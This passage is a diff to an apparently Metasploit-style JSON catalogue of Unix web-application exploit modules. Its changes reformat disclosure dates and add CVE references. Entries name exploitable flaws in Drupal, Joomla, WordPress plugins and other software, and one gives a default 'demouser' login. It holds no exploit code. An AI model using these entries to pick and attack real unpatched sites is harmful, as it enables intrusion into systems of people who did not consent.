"2009-03-03 00:00:00 -0600", + "disclosure_date": "2009-03-03", "type": "exploit", "author": [ "LSO ", @@ -48478,7 +46427,7 @@ "name": "Drupal CODER Module Remote Command Execution", "full_name": "exploit/unix/webapp/drupal_coder_exec", "rank": 600, - "disclosure_date": "2016-07-13 00:00:00 -0500", + "disclosure_date": "2016-07-13", "type": "exploit", "author": [ "Nicky Bloor ", @@ -48505,7 +46454,7 @@ "name": "Drupal Drupalgeddon 2 Forms API Property Injection", "full_name": "exploit/unix/webapp/drupal_drupalgeddon2", "rank": 600, - "disclosure_date": "2018-03-28 00:00:00 -0500", + "disclosure_date": "2018-03-28", "type": "exploit", "author": [ "Jasper Mattsson", @@ -48554,7 +46503,7 @@ "name": "Drupal RESTWS Module Remote PHP Code Execution", "full_name": "exploit/unix/webapp/drupal_restws_exec", "rank": 600, - "disclosure_date": "2016-07-13 00:00:00 -0500", + "disclosure_date": "2016-07-13", "type": "exploit", "author": [ "Devin Zuczek", @@ -48581,7 +46530,7 @@ "name": "EGallery PHP File Upload Vulnerability", "full_name": "exploit/unix/webapp/egallery_upload_exec", "rank": 600, - "disclosure_date": "2012-07-08 00:00:00 -0500", + "disclosure_date": "2012-07-08", "type": "exploit", "author": [ "Sammy FORGIT", @@ -48610,7 +46559,7 @@ "name": "FlashChat Arbitrary File Upload", "full_name": "exploit/unix/webapp/flashchat_upload_exec", "rank": 600, - "disclosure_date": "2013-10-04 00:00:00 -0500", + "disclosure_date": "2013-10-04", "type": "exploit", "author": [ "x-hayben21", @@ -48638,7 +46587,7 @@ "name": "Foswiki MAKETEXT Remote Command Execution", "full_name": "exploit/unix/webapp/foswiki_maketext", "rank": 600, - "disclosure_date": "2012-12-03 00:00:00 -0600", + "disclosure_date": "2012-12-03", "type": "exploit", "author": [ "Brian Carlson", @@ -48667,7 +46616,7 @@ "name": "FreePBX config.php Remote Code Execution", "full_name": "exploit/unix/webapp/freepbx_config_exec", "rank": 600, - "disclosure_date": "2014-03-21 00:00:00 -0500", + "disclosure_date": "2014-03-21", "type": "exploit", "author": [ "i-Hmx", @@ -48698,7 +46647,7 @@ "name": "Generic Web Application Unix Command Execution", "full_name": "exploit/unix/webapp/generic_exec", "rank": 600, - "disclosure_date": "1993-11-14 00:00:00 -0600", + "disclosure_date": "1993-11-14", "type": "exploit", "author": [ "hdm " @@ -48724,7 +46673,7 @@ "name": "GetSimpleCMS PHP File Upload Vulnerability", "full_name": "exploit/unix/webapp/get_simple_cms_upload_exec", "rank": 600, - "disclosure_date": "2014-01-04 00:00:00 -0600", + "disclosure_date": "2014-01-04", "type": "exploit", "author": [ "Ahmed Elhady Mohamed" @@ -48751,7 +46700,7 @@ "name": "Google Appliance ProxyStyleSheet Command Execution", "full_name": "exploit/unix/webapp/google_proxystylesheet_exec", "rank": 600, - "disclosure_date": "2005-08-16 00:00:00 -0500", + "disclosure_date": "2005-08-16", "type": "exploit", "author": [ "hdm " @@ -48779,7 +46728,7 @@ "name": "Graphite Web Unsafe Pickle Handling", "full_name": "exploit/unix/webapp/graphite_pickle_exec", "rank": 600, - "disclosure_date": "2013-08-20 00:00:00 -0500", + "disclosure_date": "2013-08-20", "type": "exploit", "author": [ "Charlie Eriksen", @@ -48807,7 +46756,7 @@ "name": "Matt Wright guestbook.pl Arbitrary Command Execution", "full_name": "exploit/unix/webapp/guestbook_ssi_exec", "rank": 600, - "disclosure_date": "1999-11-05 00:00:00 -0600", + "disclosure_date": "1999-11-05", "type": "exploit", "author": [ "aushack " @@ -48835,7 +46784,7 @@ "name": "Hastymail 2.1.1 RC1 Command Injection", "full_name": "exploit/unix/webapp/hastymail_exec", "rank": 600, - "disclosure_date": "2011-11-22 00:00:00 -0600", + "disclosure_date": "2011-11-22", "type": "exploit", "author": [ "Bruno Teixeira", @@ -48865,7 +46814,7 @@ "name": "Havalite CMS Arbitary File Upload Vulnerability", "full_name": "exploit/unix/webapp/havalite_upload_exec", "rank": 600, - "disclosure_date": "2013-06-17 00:00:00 -0500", + "disclosure_date": "2013-06-17", "type": "exploit", "author": [ "CWH", @@ -48894,7 +46843,7 @@ "name": "Horde Framework Unserialize PHP Code Execution", "full_name": "exploit/unix/webapp/horde_unserialize_exec", "rank": 600, - "disclosure_date": "2013-06-27 00:00:00 -0500", + "disclosure_date": "2013-06-27", "type": "exploit", "author": [ "EgiX", @@ -48924,7 +46873,7 @@ "name": "HybridAuth install.php PHP Code Execution", "full_name": "exploit/unix/webapp/hybridauth_install_php_exec", "rank": 0, - "disclosure_date": "2014-08-04 00:00:00 -0500", + "disclosure_date": "2014-08-04", "type": "exploit", "author": [ "Pichaya Morimoto", @@ -48952,7 +46901,7 @@ "name": "InstantCMS 1.6 Remote PHP Code Execution", "full_name": "exploit/unix/webapp/instantcms_exec", "rank": 600, - "disclosure_date": "2013-06-26 00:00:00 -0500", + "disclosure_date": "2013-06-26", "type": "exploit", "author": [ "AkaStep", @@ -48981,7 +46930,7 @@ "name": "Invision IP.Board unserialize() PHP Code Execution", "full_name": "exploit/unix/webapp/invision_pboard_unserialize_exec", "rank": 600, - "disclosure_date": "2012-10-25 00:00:00 -0500", + "disclosure_date": "2012-10-25", "type": "exploit", "author": [ "EgiX", @@ -49013,7 +46962,7 @@ "name": "Joomla Akeeba Kickstart Unserialize Remote Code Execution", "full_name": "exploit/unix/webapp/joomla_akeeba_unserialize", "rank": 600, - "disclosure_date": "2014-09-29 00:00:00 -0500", + "disclosure_date": "2014-09-29", "type": "exploit", "author": [ "Johannes Dahse", @@ -49043,7 +46992,7 @@ "name": "Joomla Component Fields SQLi Remote Code Execution", "full_name": "exploit/unix/webapp/joomla_comfields_sqli_rce", "rank": 600, - "disclosure_date": "2017-05-17 00:00:00 -0500", + "disclosure_date": "2017-05-17", "type": "exploit", "author": [ "Mateus Lino", @@ -49072,7 +47021,7 @@ "name": "Joomla Component JCE File Upload Remote Code Execution", "full_name": "exploit/unix/webapp/joomla_comjce_imgmanager", "rank": 600, - "disclosure_date": "2012-08-02 00:00:00 -0500", + "disclosure_date": "2012-08-02", "type": "exploit", "author": [ "Unknown", @@ -49101,7 +47050,7 @@ "name": "Joomla Content History SQLi Remote Code Execution", "full_name": "exploit/unix/webapp/joomla_contenthistory_sqli_rce", "rank": 600, - "disclosure_date": "2015-10-23 00:00:00 -0500", + "disclosure_date": "2015-10-23", "type": "exploit", "author": [ "Asaf Orpani", @@ -49133,7 +47082,7 @@ "name": "Joomla Media Manager File Upload Vulnerability", "full_name": "exploit/unix/webapp/joomla_media_upload_exec", "rank": 600, - "disclosure_date": "2013-08-01 00:00:00 -0500", + "disclosure_date": "2013-08-01", "type": "exploit", "author": [ "Jens Hinrichsen", @@ -49166,7 +47115,7 @@ "name": "Joomla 1.5.12 TinyBrowser File Upload Code Execution", "full_name": "exploit/unix/webapp/joomla_tinybrowser", "rank": 600, - "disclosure_date": "2009-07-22 00:00:00 -0500", + "disclosure_date": "2009-07-22", "type": "exploit", "author": [ "spinbad " @@ -49195,7 +47144,7 @@ "name": "Kimai v0.9.2 'db_restore.php' SQL Injection", "full_name": "exploit/unix/webapp/kimai_sqli", "rank": 200, - "disclosure_date": "2013-05-21 00:00:00 -0500", + "disclosure_date": "2013-05-21", "type": "exploit", "author": [ "drone", @@ -49223,7 +47172,7 @@ "name": "LibrettoCMS File Manager Arbitary File Upload Vulnerability", "full_name": "exploit/unix/webapp/libretto_upload_exec", "rank": 600, - "disclosure_date": "2013-06-14 00:00:00 -0500", + "disclosure_date": "2013-06-14", "type": "exploit", "author": [ "CWH", @@ -49252,7 +47201,7 @@ "name": "Maarch LetterBox Unrestricted File Upload", "full_name": "exploit/unix/webapp/maarch_letterbox_file_upload", "rank": 600, - "disclosure_date": "2015-02-11 00:00:00 -0600", + "disclosure_date": "2015-02-11", "type": "exploit", "author": [ "Rob Carr " @@ -49278,7 +47227,7 @@ "name": "Mambo Cache_Lite Class mosConfig_absolute_path Remote File Include", "full_name": "exploit/unix/webapp/mambo_cache_lite", "rank": 600, - "disclosure_date": "2008-06-14 00:00:00 -0500", + "disclosure_date": "2008-06-14", "type": "exploit", "author": [ "MC " @@ -49306,7 +47255,7 @@ "name": "Mitel Audio and Web Conferencing Command Injection", "full_name": "exploit/unix/webapp/mitel_awc_exec", "rank": 600, - "disclosure_date": "2010-12-12 00:00:00 -0600", + "disclosure_date": "2010-12-12", "type": "exploit", "author": [ "hdm " @@ -49332,7 +47281,7 @@ "name": "MoinMoin twikidraw Action Traversal File Upload", "full_name": "exploit/unix/webapp/moinmoin_twikidraw", "rank": 0, - "disclosure_date": "2012-12-30 00:00:00 -0600", + "disclosure_date": "2012-12-30", "type": "exploit", "author": [ "Unknown", @@ -49365,7 +47314,7 @@ "name": "myBB 1.6.4 Backdoor Arbitrary Command Execution", "full_name": "exploit/unix/webapp/mybb_backdoor", "rank": 600, - "disclosure_date": "2011-10-06 00:00:00 -0500", + "disclosure_date": "2011-10-06", "type": "exploit", "author": [ "tdz" @@ -49394,7 +47343,7 @@ "name": "Nagios3 history.cgi Host Command Execution", "full_name": "exploit/unix/webapp/nagios3_history_cgi", "rank": 500, - "disclosure_date": "2012-12-09 00:00:00 -0600", + "disclosure_date": "2012-12-09", "type": "exploit", "author": [ "Unknown ", @@ -49428,7 +47377,7 @@ "name": "Nagios3 statuswml.cgi Ping Command Execution", "full_name": "exploit/unix/webapp/nagios3_statuswml_ping", "rank": 600, - "disclosure_date": "2009-06-22 00:00:00 -0500", + "disclosure_date": "2009-06-22", "type": "exploit", "author": [ "hdm " @@ -49455,7 +47404,7 @@ "name": "Nagios XI Network Monitor Graph Explorer Component Command Injection", "full_name": "exploit/unix/webapp/nagios_graph_explorer", "rank": 600, - "disclosure_date": "2012-11-30 00:00:00 -0600", + "disclosure_date": "2012-11-30", "type": "exploit", "author": [ "Daniel Compton ", @@ -49484,7 +47433,7 @@ "name": "Narcissus Image Configuration Passthru Vulnerability", "full_name": "exploit/unix/webapp/narcissus_backend_exec", "rank": 600, - "disclosure_date": "2012-11-14 00:00:00 -0600", + "disclosure_date": "2012-11-14", "type": "exploit", "author": [ "Dun", @@ -49512,7 +47461,7 @@ "name": "Open Flash Chart v2 Arbitrary File Upload", "full_name": "exploit/unix/webapp/open_flash_chart_upload_exec", "rank": 500, - "disclosure_date": "2009-12-14 00:00:00 -0600", + "disclosure_date": "2009-12-14", "type": "exploit", "author": [ "Braeden Thomas", @@ -49550,7 +47499,7 @@ "name": "OpenEMR 4.1.1 Patch 14 SQLi Privilege Escalation Remote Code Execution", "full_name": "exploit/unix/webapp/openemr_sqli_privesc_upload", "rank": 600, - "disclosure_date": "2013-09-16 00:00:00 -0500", + "disclosure_date": "2013-09-16", "type": "exploit", "author": [ "xistence " @@ -49577,7 +47526,7 @@ "name": "OpenEMR PHP File Upload Vulnerability", "full_name": "exploit/unix/webapp/openemr_upload_exec", "rank": 600, - "disclosure_date": "2013-02-13 00:00:00 -0600", + "disclosure_date": "2013-02-13", "type": "exploit", "author": [ "Gjoko Krstic ", @@ -49585,6 +47534,7 @@ ], "description": "This module exploits a vulnerability found in OpenEMR 4.1.1 By abusing the\n ofc_upload_image.php file from the openflashchart library, a malicious user can\n upload a file to the tmp-upload-images directory without any authentication, which\n results in arbitrary code execution. The module has been tested successfully on\n OpenEMR 4.1.1 over Ubuntu 10.04.", "references": [ + "CVE-2009-4140", "OSVDB-90222", "BID-37314", "EBD-24492", @@ -49608,7 +47558,7 @@ "name": "OpenSIS 'modname' PHP Code Execution", "full_name": "exploit/unix/webapp/opensis_modname_exec", "rank": 600, - "disclosure_date": "2012-12-04 00:00:00 -0600", + "disclosure_date": "2012-12-04", "type": "exploit", "author": [ "EgiX", @@ -49638,7 +47588,7 @@ "name": "HP Openview connectedNodes.ovpl Remote Command Execution", "full_name": "exploit/unix/webapp/openview_connectednodes_exec", "rank": 600, - "disclosure_date": "2005-08-25 00:00:00 -0500", + "disclosure_date": "2005-08-25", "type": "exploit", "author": [ "Valerio Tesei ", @@ -49667,7 +47617,7 @@ "name": "OpenX banner-edit.php File Upload PHP Code Execution", "full_name": "exploit/unix/webapp/openx_banner_edit", "rank": 600, - "disclosure_date": "2009-11-24 00:00:00 -0600", + "disclosure_date": "2009-11-24", "type": "exploit", "author": [ "jduck " @@ -49703,7 +47653,7 @@ "name": "Oracle VM Server Virtual Server Agent Command Injection", "full_name": "exploit/unix/webapp/oracle_vm_agent_utl", "rank": 600, - "disclosure_date": "2010-10-12 00:00:00 -0500", + "disclosure_date": "2010-10-12", "type": "exploit", "author": [ "jduck " @@ -49731,7 +47681,7 @@ "name": "osCommerce 2.2 Arbitrary PHP Code Execution", "full_name": "exploit/unix/webapp/oscommerce_filemanager", "rank": 600, - "disclosure_date": "2009-08-31 00:00:00 -0500", + "disclosure_date": "2009-08-31", "type": "exploit", "author": [ "egypt " @@ -49758,7 +47708,7 @@ "name": "PAJAX Remote Command Execution", "full_name": "exploit/unix/webapp/pajax_remote_exec", "rank": 600, - "disclosure_date": "2006-03-30 00:00:00 -0600", + "disclosure_date": "2006-03-30", "type": "exploit", "author": [ "Matteo Cantoni ", @@ -49788,7 +47738,7 @@ "name": "PHP-Charts v1.0 PHP Code Execution Vulnerability", "full_name": "exploit/unix/webapp/php_charts_exec", "rank": 600, - "disclosure_date": "2013-01-16 00:00:00 -0600", + "disclosure_date": "2013-01-16", "type": "exploit", "author": [ "AkaStep", @@ -49817,7 +47767,7 @@ "name": "Generic PHP Code Evaluation", "full_name": "exploit/unix/webapp/php_eval", "rank": 0, - "disclosure_date": "2008-10-13 00:00:00 -0500", + "disclosure_date": "2008-10-13", "type": "exploit", "author": [ "egypt " @@ -49843,7 +47793,7 @@ "name": "PHP Remote File Include Generic Code Execution", "full_name": "exploit/unix/webapp/php_include", "rank": 300, - "disclosure_date": "2006-12-17 00:00:00 -0600", + "disclosure_date": "2006-12-17", "type": "exploit", "author": [ "hdm ", @@ -49871,7 +47821,7 @@ "name": "vBulletin misc.php Template Name Arbitrary Code Execution", "full_name": "exploit/unix/webapp/php_vbulletin_template", "rank": 600, - "disclosure_date": "2005-02-25 00:00:00 -0600", + "disclosure_date": "2005-02-25", "type": "exploit", "author": [ "str0ke ", @@ -49900,7 +47850,7 @@ "name": "PHP XML-RPC Arbitrary Code Execution", "full_name": "exploit/unix/webapp/php_xmlrpc_eval", "rank": 600, - "disclosure_date": "2005-06-29 00:00:00 -0500", + "disclosure_date": "2005-06-29", "type": "exploit", "author": [ "hdm ", @@ -49929,7 +47879,7 @@ "name": "phpBB viewtopic.php Arbitrary Code Execution", "full_name": "exploit/unix/webapp/phpbb_highlight", "rank": 600, - "disclosure_date": "2004-11-12 00:00:00 -0600", + "disclosure_date": "2004-11-12", "type": "exploit", "author": [ "valsmith ", @@ -49964,7 +47914,7 @@ "name": "phpCollab 2.5.1 Unauthenticated File Upload", "full_name": "exploit/unix/webapp/phpcollab_upload_exec", "rank": 600, - "disclosure_date": "2017-09-29 00:00:00 -0500", + "disclosure_date": "2017-09-29", "type": "exploit", "author": [ "Nicolas SERRA ", @@ -49994,7 +47944,7 @@ "name": "PhpMyAdmin Config File Code Injection", "full_name": "exploit/unix/webapp/phpmyadmin_config", "rank": 600, - "disclosure_date": "2009-03-24 00:00:00 -0500", + "disclosure_date": "2009-03-24", "type": "exploit", "author": [ "Greg Ose", @@ -50026,7 +47976,7 @@ "name": "Piwik Superuser Plugin Upload", "full_name": "exploit/unix/webapp/piwik_superuser_plugin_upload", "rank": 600, - "disclosure_date": "2017-02-05 00:00:00 -0600", + "disclosure_date": "2017-02-05", "type": "exploit", "author": [ "FireFart" @@ -50054,7 +48004,7 @@ "name": "Project Pier Arbitrary File Upload Vulnerability", "full_name": "exploit/unix/webapp/projectpier_upload_exec", "rank": 600, - "disclosure_date": "2012-10-08 00:00:00 -0500", + "disclosure_date": "2012-10-08", "type": "exploit", "author": [ "BlackHawk", @@ -50084,7 +48034,7 @@ "name": "ProjectSend Arbitrary File Upload", "full_name": "exploit/unix/webapp/projectsend_upload_exec", "rank": 600, - "disclosure_date": "2014-12-02 00:00:00 -0600", + "disclosure_date": "2014-12-02", "type": "exploit", "author": [ "Fady Mohammed Osman", @@ -50111,7 +48061,7 @@ "name": "QuickTime Streaming Server parse_xml.cgi Remote Execution", "full_name": "exploit/unix/webapp/qtss_parse_xml_exec", "rank": 600, - "disclosure_date": "2003-02-24 00:00:00 -0600", + "disclosure_date": "2003-02-24", "type": "exploit", "author": [ "hdm " @@ -50139,7 +48089,7 @@ "name": "Redmine SCM Repository Arbitrary Command Execution", "full_name": "exploit/unix/webapp/redmine_scm_exec", "rank": 600, - "disclosure_date": "2010-12-19 00:00:00 -0600", + "disclosure_date": "2010-12-19", "type": "exploit", "author": [ "joernchen " @@ -50167,7 +48117,7 @@ "name": "SePortal SQLi Remote Code Execution", "full_name": "exploit/unix/webapp/seportal_sqli_exec", "rank": 600, - "disclosure_date": "2014-03-20 00:00:00 -0500", + "disclosure_date": "2014-03-20", "type": "exploit", "author": [ "jsass", @@ -50196,7 +48146,7 @@ "name": "Simple E-Document Arbitrary File Upload", "full_name": "exploit/unix/webapp/simple_e_document_upload_exec", "rank": 600, - "disclosure_date": "2014-01-23 00:00:00 -0600", + "disclosure_date": "2014-01-23", "type": "exploit", "author": [ "vinicius777 ", @@ -50223,7 +48173,7 @@ "name": "SixApart MovableType Storable Perl Code Execution", "full_name": "exploit/unix/webapp/sixapart_movabletype_storable_exec", "rank": 400, - "disclosure_date": "2015-02-11 00:00:00 -0600", + "disclosure_date": "2015-02-11", "type": "exploit", "author": [ "John Lightsey" @@ -50250,7 +48200,7 @@ "name": "SkyBlueCanvas CMS Remote Code Execution", "full_name": "exploit/unix/webapp/skybluecanvas_exec", "rank": 600, - "disclosure_date": "2014-01-28 00:00:00 -0600", + "disclosure_date": "2014-01-28", "type": "exploit", "author": [ "Scott Parish", @@ -50281,7 +48231,7 @@ "name": "Simple PHP Blog Remote Command Execution", "full_name": "exploit/unix/webapp/sphpblog_file_upload", "rank": 600, - "disclosure_date": "2005-08-25 00:00:00 -0500", + "disclosure_date": "2005-08-25", "type": "exploit", "author": [ "Matteo Cantoni ", @@ -50311,7 +48261,7 @@ "name": "SPIP connect Parameter PHP Injection", "full_name": "exploit/unix/webapp/spip_connect_exec", "rank": 600, - "disclosure_date": "2012-07-04 00:00:00 -0500", + "disclosure_date": "2012-07-04", "type": "exploit", "author": [ "Arnaud Pachot", @@ -50341,7 +48291,7 @@ "name": "Squash YAML Code Execution", "full_name": "exploit/unix/webapp/squash_yaml_exec", "rank": 600, - "disclosure_date": "2013-08-06 00:00:00 -0500", + "disclosure_date": "2013-08-06", "type": "exploit", "author": [ "Charlie Eriksen" @@ -50369,7 +48319,7 @@ "name": "SquirrelMail PGP Plugin Command Execution (SMTP)", "full_name": "exploit/unix/webapp/squirrelmail_pgp_plugin", "rank": 0, - "disclosure_date": "2007-07-09 00:00:00 -0500", + "disclosure_date": "2007-07-09", "type": "exploit", "author": [ "Nicob " @@ -50398,7 +48348,7 @@ "name": "SugarCRM REST Unserialize PHP Code Execution", "full_name": "exploit/unix/webapp/sugarcrm_rest_unserialize_exec", "rank": 600, - "disclosure_date": "2016-06-23 00:00:00 -0500", + "disclosure_date": "2016-06-23", "type": "exploit", "author": [ "EgiX" @@ -50427,7 +48377,7 @@ "name": "SugarCRM unserialize() PHP Code Execution", "full_name": "exploit/unix/webapp/sugarcrm_unserialize_exec", "rank": 600, - "disclosure_date": "2012-06-23 00:00:00 -0500", + "disclosure_date": "2012-06-23", "type": "exploit", "author": [ "EgiX", @@ -50458,7 +48408,7 @@ "name": "TikiWiki tiki-graph_formula Remote PHP Code Execution", "full_name": "exploit/unix/webapp/tikiwiki_graph_formula_exec", "rank": 600, - "disclosure_date": "2007-10-10 00:00:00 -0500", + "disclosure_date": "2007-10-10", "type": "exploit", "author": [ "Matteo Cantoni ", @@ -50487,7 +48437,7 @@ "name": "TikiWiki jhot Remote Command Execution", "full_name": "exploit/unix/webapp/tikiwiki_jhot_exec", "rank": 600, - "disclosure_date": "2006-09-02 00:00:00 -0500", + "disclosure_date": "2006-09-02", "type": "exploit", "author": [ "Matteo Cantoni " @@ -50516,7 +48466,7 @@ "name": "Tiki Wiki unserialize() PHP Code Execution", "full_name": "exploit/unix/webapp/tikiwiki_unserialize_exec", "rank": 600, - "disclosure_date": "2012-07-04 00:00:00 -0500", + "disclosure_date": "2012-07-04", "type": "exploit", "author": [ "EgiX", @@ -50547,7 +48497,7 @@ "name": "Tiki Wiki Unauthenticated File Upload Vulnerability", "full_name": "exploit/unix/webapp/tikiwiki_upload_exec", "rank": 600, - "disclosure_date": "2016-07-11 00:00:00 -0500", + "disclosure_date": "2016-07-11", "type": "exploit", "author": [ "Mehmet Ince " @@ -50574,7 +48524,7 @@ "name": "Trixbox langChoice PHP Local File Inclusion", "full_name": "exploit/unix/webapp/trixbox_langchoice", "rank": 0, - "disclosure_date": "2008-07-09 00:00:00 -0500", + "disclosure_date": "2008-07-09", "type": "exploit", "author": [ "chao-mu" @@ -50604,7 +48554,7 @@ "name": "Tuleap 9.6 Second-Order PHP Object Injection", "full_name": "exploit/unix/webapp/tuleap_rest_unserialize_exec", "rank": 600, - "disclosure_date": "2017-10-23 00:00:00 -0500", + "disclosure_date": "2017-10-23", "type": "exploit", "author": [ "EgiX" @@ -50632,7 +48582,7 @@ "name": "Tuleap PHP Unserialize Code Execution", "full_name": "exploit/unix/webapp/tuleap_unserialize_exec", "rank": 600, - "disclosure_date": "2014-11-27 00:00:00 -0600", + "disclosure_date": "2014-11-27", "type": "exploit", "author": [ "EgiX" @@ -50660,7 +48610,7 @@ "name": "TWiki History TWikiUsers rev Parameter Command Execution", "full_name": "exploit/unix/webapp/twiki_history", "rank": 600, - "disclosure_date": "2005-09-14 00:00:00 -0500", + "disclosure_date": "2005-09-14", "type": "exploit", "author": [ "B4dP4nd4", @@ -50690,7 +48640,7 @@ "name": "TWiki MAKETEXT Remote Command Execution", "full_name": "exploit/unix/webapp/twiki_maketext", "rank": 600, - "disclosure_date": "2012-12-15 00:00:00 -0600", + "disclosure_date": "2012-12-15", "type": "exploit", "author": [ "George Clark", @@ -50720,7 +48670,7 @@ "name": "TWiki Search Function Arbitrary Command Execution", "full_name": "exploit/unix/webapp/twiki_search", "rank": 600, - "disclosure_date": "2004-10-01 00:00:00 -0500", + "disclosure_date": "2004-10-01", "type": "exploit", "author": [ "jduck " @@ -50749,7 +48699,7 @@ "name": "vBulletin index.php/ajax/api/reputation/vote nodeid Parameter SQL Injection", "full_name": "exploit/unix/webapp/vbulletin_vote_sqli_exec", "rank": 600, - "disclosure_date": "2013-03-25 00:00:00 -0500", + "disclosure_date": "2013-03-25", "type": "exploit", "author": [ "Orestis Kourides", @@ -50780,7 +48730,7 @@ "name": "VICIdial Manager Send OS Command Injection", "full_name": "exploit/unix/webapp/vicidial_manager_send_cmd_exec", "rank": 600, - "disclosure_date": "2013-10-23 00:00:00 -0500", + "disclosure_date": "2013-10-23", "type": "exploit", "author": [ "Adam Caudill ", @@ -50816,7 +48766,7 @@ "name": "VICIdial user_authorization Unauthenticated Command Execution", "full_name": "exploit/unix/webapp/vicidial_user_authorization_unauth_cmd_exec", "rank": 600, - "disclosure_date": "2017-05-26 00:00:00 -0500", + "disclosure_date": "2017-05-26", "type": "exploit", "author": [ "Brendan Coles " @@ -50842,7 +48792,7 @@ "name": "Webmin /file/show.cgi Remote Command Execution", "full_name": "exploit/unix/webapp/webmin_show_cgi_exec", "rank": 600, - "disclosure_date": "2012-09-06 00:00:00 -0500", + "disclosure_date": "2012-09-06", "type": "exploit", "author": [ "Unknown", @@ -50873,7 +48823,7 @@ "name": "WebTester 5.x Command Execution", "full_name": "exploit/unix/webapp/webtester_exec", "rank": 600, - "disclosure_date": "2013-10-17 00:00:00 -0500", + "disclosure_date": "2013-10-17", "type": "exploit", "author": [ "Brendan Coles " @@ -50900,7 +48850,7 @@ "name": "WordPress Admin Shell Upload", "full_name": "exploit/unix/webapp/wp_admin_shell_upload", "rank": 600, - "disclosure_date": "2015-02-21 00:00:00 -0600", + "disclosure_date": "2015-02-21", "type": "exploit", "author": [ "Rob Carr " @@ -50926,7 +48876,7 @@ "name": "WordPress Plugin Advanced Custom Fields Remote File Inclusion", "full_name": "exploit/unix/webapp/wp_advanced_custom_fields_exec", "rank": 600, - "disclosure_date": "2012-11-14 00:00:00 -0600", + "disclosure_date": "2012-11-14", "type": "exploit", "author": [ "Charlie Eriksen " @@ -50954,7 +48904,7 @@ "name": "Wordpress Ajax Load More PHP Upload Vulnerability", "full_name": "exploit/unix/webapp/wp_ajax_load_more_file_upload", "rank": 600, - "disclosure_date": "2015-10-10 00:00:00 -0500", + "disclosure_date": "2015-10-10", "type": "exploit", "author": [ "Unknown", @@ -50981,7 +48931,7 @@ "name": "WordPress Asset-Manager PHP File Upload Vulnerability", "full_name": "exploit/unix/webapp/wp_asset_manager_upload_exec", "rank": 600, - "disclosure_date": "2012-05-26 00:00:00 -0500", + "disclosure_date": "2012-05-26", "type": "exploit", "author": [ "Sammy FORGIT", @@ -51012,7 +48962,7 @@ "name": "Wordpress Creative Contact Form Upload Vulnerability", "full_name": "exploit/unix/webapp/wp_creativecontactform_file_upload", "rank": 600, - "disclosure_date": "2014-10-22 00:00:00 -0500", + "disclosure_date": "2014-10-22", "type": "exploit", "author": [ "Gianni Angelozzi", @@ -51041,7 +48991,7 @@ "name": "Wordpress Download Manager (download-manager) Unauthenticated File Upload", "full_name": "exploit/unix/webapp/wp_downloadmanager_upload", "rank": 600, - "disclosure_date": "2014-12-03 00:00:00 -0600", + "disclosure_date": "2014-12-03", "type": "exploit", "author": [ "Mickael Nadeau", @@ -51069,7 +49019,7 @@ "name": "WordPress WP EasyCart Unrestricted File Upload", "full_name": "exploit/unix/webapp/wp_easycart_unrestricted_file_upload", "rank": 600, - "disclosure_date": "2015-01-08 00:00:00 -0600", + "disclosure_date": "2015-01-08", "type": "exploit", "author": [ "Kacper Szurek", @@ -51077,6 +49027,7 @@ ], "description": "WordPress Shopping Cart (WP EasyCart) Plugin for\n WordPress contains a flaw that allows a remote\n attacker to execute arbitrary PHP code. This\n flaw exists because the\n /inc/amfphp/administration/banneruploaderscript.php\n script does not properly verify or sanitize\n user-uploaded files. By uploading a .php file,\n the remote system will place the file in a\n user-accessible path. Making a direct request to\n the uploaded file will allow the attacker to\n execute the script with the privileges of the web\n server.\n\n In versions <= 3.0.8 authentication can be done by\n using the WordPress credentials of a user with any\n role. In later versions, a valid EasyCart admin\n password will be required that is in use by any\n admin user. A default installation of EasyCart will\n setup a user called \"demouser\" with a preset password\n of \"demouser\".", "references": [ + "CVE-2014-9308", "OSVDB-116806", "WPVDB-7745" ], @@ -51097,7 +49048,7 @@ "name": "WordPress Plugin Foxypress uploadify.php Arbitrary Code Execution", "full_name": "exploit/unix/webapp/wp_foxypress_upload", "rank": 600, - "disclosure_date": "2012-06-05 00:00:00 -0500", + "disclosure_date": "2012-06-05", "type": "exploit", "author": [ "Sammy FORGIT", @@ -51126,7 +49077,7 @@ "name": "Wordpress Front-end Editor File Upload", "full_name": "exploit/unix/webapp/wp_frontend_editor_file_upload", "rank": 600, - "disclosure_date": "2012-07-04 00:00:00 -0500", + "disclosure_date": "2012-07-04", "type": "exploit", "author": [ "Sammy", @@ -51155,7 +49106,7 @@ "name": "WordPress Plugin Google Document Embedder Arbitrary File Disclosure", "full_name": "exploit/unix/webapp/wp_google_document_embedder_exec", "rank": 300, - "disclosure_date": "2013-01-03 00:00:00 -0600", + "disclosure_date": "2013-01-03", "type": "exploit", "author": [ "Charlie Eriksen" @@ -51184,7 +49135,7 @@ "name": "WordPress Holding Pattern Theme Arbitrary File Upload", "full_name": "exploit/unix/webapp/wp_holding_pattern_file_upload", "rank": 600, - "disclosure_date": "2015-02-11 00:00:00 -0600", + "disclosure_date": "2015-02-11", "type": "exploit", "author": [ "Alexander Borg", @@ -51213,7 +49164,7 @@ "name": "Wordpress InBoundio Marketing PHP Upload Vulnerability", "full_name": "exploit/unix/webapp/wp_inboundio_marketing_file_upload", "rank": 600, - "disclosure_date": "2015-03-24 00:00:00 -0500", + "disclosure_date": "2015-03-24", "type": "exploit", "author": [ "KedAns-Dz", @@ -51242,7 +49193,7 @@ "name": "Wordpress InfusionSoft Upload Vulnerability", "full_name": "exploit/unix/webapp/wp_infusionsoft_upload", "rank": 600, - "disclosure_date": "2014-09-25 00:00:00 -0500", + "disclosure_date": "2014-09-25", "type": "exploit", "author": [ "g0blin", @@ -51271,7 +49222,7 @@ "name": "WordPress cache_lastpostdate Arbitrary Code Execution", "full_name": "exploit/unix/webapp/wp_lastpost_exec", "rank": 600, - "disclosure_date": "2005-08-09 00:00:00 -0500", + "disclosure_date": "2005-08-09", "type": "exploit", "author": [ "str0ke ", @@ -51301,7 +49252,7 @@ "name": "WordPress WP Mobile Detector 3.5 Shell Upload", "full_name": "exploit/unix/webapp/wp_mobile_detector_upload_execute", "rank": 600, - "disclosure_date": "2016-05-31 00:00:00 -0500", + "disclosure_date": "2016-05-31", "type": "exploit", "author": [ "pluginvulnerabilities.com", @@ -51331,7 +49282,7 @@ "name": "Wordpress N-Media Website Contact Form Upload Vulnerability", "full_name": "exploit/unix/webapp/wp_nmediawebsite_file_upload", "rank": 600, - "disclosure_date": "2015-04-12 00:00:00 -0500", + "disclosure_date": "2015-04-12", "type": "exploit", "author": [ "Claudio Viviani", @@ -51359,7 +49310,7 @@ "name": "WordPress OptimizePress Theme File Upload Vulnerability", "full_name": "exploit/unix/webapp/wp_optimizepress_upload", "rank": 600, - "disclosure_date": "2013-11-29 00:00:00 -0600", + 